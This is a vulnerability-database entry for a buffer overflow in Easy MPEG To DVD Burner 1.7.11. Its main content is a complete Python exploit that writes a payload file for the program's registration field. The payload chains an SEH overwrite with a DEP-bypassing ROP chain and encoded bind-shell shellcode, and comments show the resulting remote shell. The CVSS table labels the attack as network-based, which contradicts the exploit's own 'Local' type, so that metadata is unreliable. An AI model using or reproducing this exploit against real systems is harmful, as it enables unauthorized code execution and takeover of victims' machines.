Easy MPEG To DVD Burner 1.7.11 Buffer Overflow
CVE
Category
Price
Severity
N/A
CWE-119
$500
High
Author
Risk
Exploitation Type
Date
Unknown
High
Local
2018-05-21
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2018050145 Easy MPEG To DVD Burner 1.7.11 Buffer Overflow #!/usr/bin/python
#------------------------------------------------------------------------------------------------------------------------------------#
# Exploit: Easy MPEG to DVD Burner 1.7.11 SEH + DEP Bypass Local Buffer Overflow #
# Date: 2018-05-19 #
# Author: Juan Prescotto #
# Tested Against: Win7 Pro SP1 64 bit #
# Software Download #1: https://downloads.tomsguide.com/MPEG-Easy-Burner,0301-10418.html #
# Software Download #2: https://www.exploit-db.com/apps/32dc10d6e60ceb4d6e57052b6de3a0ba-easy_mpeg_to_dvd.exe #
# Version: 1.7.11 #
# Special Thanks to my wife for allowing me spend countless hours on this passion of mine #
# Credit: Thanks to Marwan Shamel (https://www.exploit-db.com/exploits/44565/) for his work on the original SEH exploit #
# Steps : Open the APP > click on register > Username field > paste in contents from the .txt file that was generated by this script #
#------------------------------------------------------------------------------------------------------------------------------------#
# Bad Characers: \x00\x0a\x0d #
# SEH Offset: 1012 #
# Non-Participating Modules: SkinMagic.dll & Easy MPEG to DVD Burner.exe #
#------------------------------------------------------------------------------------------------------------------------------------#
# root@kali:~/Desktop# nc -nv 10.0.1.14 4444 #
# (UNKNOWN) [10.0.1.14] 4444 (?) open #
# Microsoft Windows [Version 6.1.7601] #
# Copyright (c) 2009 Microsoft Corporation. All rights reserved. #
# #
# C:\Program Files (x86)\Easy MPEG to DVD Burner> #
#------------------------------------------------------------------------------------------------------------------------------------#
# My register setup when VirtualAlloc() is called (Defeat DEP) :
#--------------------------------------------
# EAX = Points to PUSHAD at time VirtualAlloc() is called (Stack Pivot jumps over it on return)
# ECX = flProtect (0x40)
# EDX = flAllocationType (0x1000)
# EBX = dwSize (0x01)
# ESP = lpAddress (automatic)
# EBP = ReturnTo (stack pivot into a rop nop / jmp esp)
# ESI = ptr to VirtualAlloc()
# EDI = ROP NOP (RETN)
import struct
def create_rop_chain():
rop_gadgets = [
#***START VirtualAlloc() to ESI***
0x10027e6b, # POP EAX # RETN [SkinMagic.dll] **
0x1003b1d4, # ptr to &VirtualAlloc() [IAT SkinMagic.dll]
0x100369a1, # MOV EAX,DWORD PTR DS:[EAX] # RETN [SkinMagic.dll]
0x10032993, # POP EBX # RETN [SkinMagic.dll]
0xffffffff, #
0x10037bd3, # INC EBX # FPATAN # RETN [SkinMagic.dll]
0x10037bd3, # INC EBX # FPATAN # RETN [SkinMagic.dll]
0x10037bc0, # POP EDX # RETN [SkinMagic.dll]
0xffffffff, #
0x10035a07, # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN [SkinMagic.dll]
0x10037654, # POP EAX # RETN [SkinMagic.dll]
0xa141dffb, #
0x100317c8, # ADD EAX,5EFFC883 # RETN [SkinMagic.dll] Gets us to #0x0041a87e # ADD EDX,EBX # POP EBX # RETN 0x10 [Easy MPEG to DVD Burner.exe]
0x1003248d, # PUSH EAX # RETN [SkinMagic.dll] | Calls #0x0041a87e # ADD EDX,EBX # POP EBX # RETN 0x10 [Easy MPEG to DVD Burner.exe]
0x41414141, # FILLER
0x1003993e, # PUSH EDX # ADD AL,5F # POP ESI # POP EBX # RETN 0x0C [SkinMagic.dll]
0x41414141, # FILLER
0x41414141, # FILLER
0x41414141, # FILLER
0x41414141, # FILLER
0x41414141, # FILLER
#***END VirtualAlloc() to ESI***
#***START 0x40 to ECX***
0x100185fb, # XOR EAX,EAX # RETN [SkinMagic.dll]
0x41414141, # FILLER
0x41414141, # FILLER
0x41414141, # FILLER
0x10037c5b, # ADD EAX,40 # POP EBP # RETN [SkinMagic.dll]
0x41414141, # FILLER
0x10032176, # XCHG EAX,ECX # ADD EAX,20835910 # ADD BYTE PTR DS:[ECX+10059130],AH # MOV DWORD PTR DS:[1005912C],EAX # RETN [SkinMagic.dll]
#***END 0x40 to ECX***
#***START 0x1000 to EDX***
0x10032993, # POP EBX # RETN [SkinMagic.dll]
0xaaaaaaaa, #
0x10037bc0, # POP EDX # RETN [SkinMagic.dll]
0x55556556, #
0x10037654, # POP EAX # RETN [SkinMagic.dll]
0xa141dffb, #
0x100317c8, # ADD EAX,5EFFC883 # RETN [SkinMagic.dll] Gets us to #0x0041a87e # ADD EDX,EBX # POP EBX # RETN 0x10 [Easy MPEG to DVD Burner.exe]
0x1003248d, # PUSH EAX # RETN [SkinMagic.dll] | Calls #0x0041a87e # ADD EDX,EBX # POP EBX # RETN 0x10 [Easy MPEG to DVD Burner.exe]
0x41414141, # FILLER
#***END 0x1000 to EDX***
#*** Start EBP = ReturnTo (stack pivot into a rop nop / jmp esp)***
0x1002829d, # POP EBP # RETN [SkinMagic.dll]
0x41414141, # FILLER
0x41414141, # FILLER
0x41414141, # FILLER
0x41414141, # FILLER
0x100284f8, # {pivot 16 / 0x10} : # ADD ESP,0C # POP EBP # RETN [SkinMagic.dll]
#*** END EBP = ReturnTo (stack pivot into a rop nop / jmp esp)***
#***START 0x1 to EBX***
0x10032993, # POP EBX # RETN [SkinMagic.dll]
0xffffffff, #
0x10037bd3, # INC EBX # FPATAN # RETN [SkinMagic.dll]
0x10037bd3, # INC EBX # FPATAN # RETN [SkinMagic.dll]
#***END 0x1 to EBX***
#***START ROP NOP to EDI***
0x100342f0, # POP EDI # RETN [SkinMagic.dll]
0x10032158, # RETN (ROP NOP) [SkinMagic.dll]
#***END ROP NOP to EDI***
#***START Gadgets to execute PUSHAD / Execute VirtualAlloc()***
0x10037654, # POP EAX # RETN [SkinMagic.dll]
0xa140acd2, # CONSTANT
0x100317c8, # ADD EAX,5EFFC883 # RETN [SkinMagic.dll] (Puts location of a PUSHAD into EAX "0x00407555", # PUSHAD # RETN [Easy MPEG to DVD Burner.exe]
0x1003248d, # PUSH EAX # RETN [SkinMagic.dll] | Calls #0x00407555, # PUSHAD # RETN [Easy MPEG to DVD Burner.exe]
#***END Gadgets to execute PUSHAD***
#***After Return from VirtualAlloc() / stack pivot land in ROP NOP Sled / jmp ESP --> Execute Shellcode***
0x10032158, # RETN (ROP NOP) [SkinMagic.dll]
0x10032158, # RETN (ROP NOP) [SkinMagic.dll]
0x10032158, # RETN (ROP NOP) [SkinMagic.dll]
0x10032158, # RETN (ROP NOP) [SkinMagic.dll]
0x1001cc57, # & push esp # ret [SkinMagic.dll]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
rop_chain = create_rop_chain()
nop_rop_chain_1 = "\xbd\xdd\x02\x10" * 18 # 0x1002ddbd : {pivot 12 / 0x0c} : # ADD ESP,0C # RETN [SkinMagic.dll]
nop_rop_chain_2 = "\x58\x21\x03\x10" * 22 # RETN (ROP NOP) [SkinMagic.dll]
seh = "\x06\x4e\x40" # 0x00404e06 : {stack pivot 1928 / 0x788} (Lands us into rop nop chain --> rop_chain) : # POP EDI # POP ESI # POP EBP # MOV DWORD PTR FS:[0],ECX # POP EBX # ADD ESP,778 # RETN [Easy MPEG to DVD Burner.exe]
nop = "\x90" * 20
#Max Space Avaliable for Shellcode = 600 bytes
#------------------------------------------------------------------------------------#
# msfvenom -p windows/shell_bind_tcp LPORT=4444 -b '\x00\x0a\x0d' -f py -v shellcode #
# x86/shikata_ga_nai succeeded with size 355 (iteration=0) #
#------------------------------------------------------------------------------------#
shellcode = ""
shellcode += "\xb8\x50\x08\x0f\xf2\xd9\xe9\xd9\x74\x24\xf4\x5b"
shellcode += "\x29\xc9\xb1\x53\x31\x43\x12\x03\x43\x12\x83\x93"
shellcode += "\x0c\xed\x07\xef\xe5\x73\xe7\x0f\xf6\x13\x61\xea"
shellcode += "\xc7\x13\x15\x7f\x77\xa4\x5d\x2d\x74\x4f\x33\xc5"
shellcode += "\x0f\x3d\x9c\xea\xb8\x88\xfa\xc5\x39\xa0\x3f\x44"
shellcode += "\xba\xbb\x13\xa6\x83\x73\x66\xa7\xc4\x6e\x8b\xf5"
shellcode += "\x9d\xe5\x3e\xe9\xaa\xb0\x82\x82\xe1\x55\x83\x77"
shellcode += "\xb1\x54\xa2\x26\xc9\x0e\x64\xc9\x1e\x3b\x2d\xd1"
shellcode += "\x43\x06\xe7\x6a\xb7\xfc\xf6\xba\x89\xfd\x55\x83"
shellcode += "\x25\x0c\xa7\xc4\x82\xef\xd2\x3c\xf1\x92\xe4\xfb"
shellcode += "\x8b\x48\x60\x1f\x2b\x1a\xd2\xfb\xcd\xcf\x85\x88"
shellcode += "\xc2\xa4\xc2\xd6\xc6\x3b\x06\x6d\xf2\xb0\xa9\xa1"
shellcode += "\x72\x82\x8d\x65\xde\x50\xaf\x3c\xba\x37\xd0\x5e"
shellcode += "\x65\xe7\x74\x15\x88\xfc\x04\x74\xc5\x31\x25\x86"
shellcode += "\x15\x5e\x3e\xf5\x27\xc1\x94\x91\x0b\x8a\x32\x66"
shellcode += "\x6b\xa1\x83\xf8\x92\x4a\xf4\xd1\x50\x1e\xa4\x49"
shellcode += "\x70\x1f\x2f\x89\x7d\xca\xda\x81\xd8\xa5\xf8\x6c"
shellcode += "\x9a\x15\xbd\xde\x73\x7c\x32\x01\x63\x7f\x98\x2a"
shellcode += "\x0c\x82\x23\x45\x91\x0b\xc5\x0f\x39\x5a\x5d\xa7"
shellcode += "\xfb\xb9\x56\x50\x03\xe8\xce\xf6\x4c\xfa\xc9\xf9"
shellcode += "\x4c\x28\x7e\x6d\xc7\x3f\xba\x8c\xd8\x15\xea\xd9"
shellcode += "\x4f\xe3\x7b\xa8\xee\xf4\x51\x5a\x92\x67\x3e\x9a"
shellcode += "\xdd\x9b\xe9\xcd\x8a\x6a\xe0\x9b\x26\xd4\x5a\xb9"
shellcode += "\xba\x80\xa5\x79\x61\x71\x2b\x80\xe4\xcd\x0f\x92"
shellcode += "\x30\xcd\x0b\xc6\xec\x98\xc5\xb0\x4a\x73\xa4\x6a"
shellcode += "\x05\x28\x6e\xfa\xd0\x02\xb1\x7c\xdd\x4e\x47\x60"
shellcode += "\x6c\x27\x1e\x9f\x41\xaf\x96\xd8\xbf\x4f\x58\x33"
shellcode += "\x04\x7f\x13\x19\x2d\xe8\xfa\xc8\x6f\x75\xfd\x27"
shellcode += "\xb3\x80\x7e\xcd\x4c\x77\x9e\xa4\x49\x33\x18\x55"
shellcode += "\x20\x2c\xcd\x59\x97\x4d\xc4"
exploit = nop_rop_chain_1 + nop_rop_chain_2 + rop_chain + nop + shellcode + "\x41" * (1012-len(nop_rop_chain_1)-len(nop_rop_chain_2)-len(rop_chain)-len(nop)-len(shellcode)) + seh
f = open ("Exploit.txt", "w")
f.write(exploit)
f.close()
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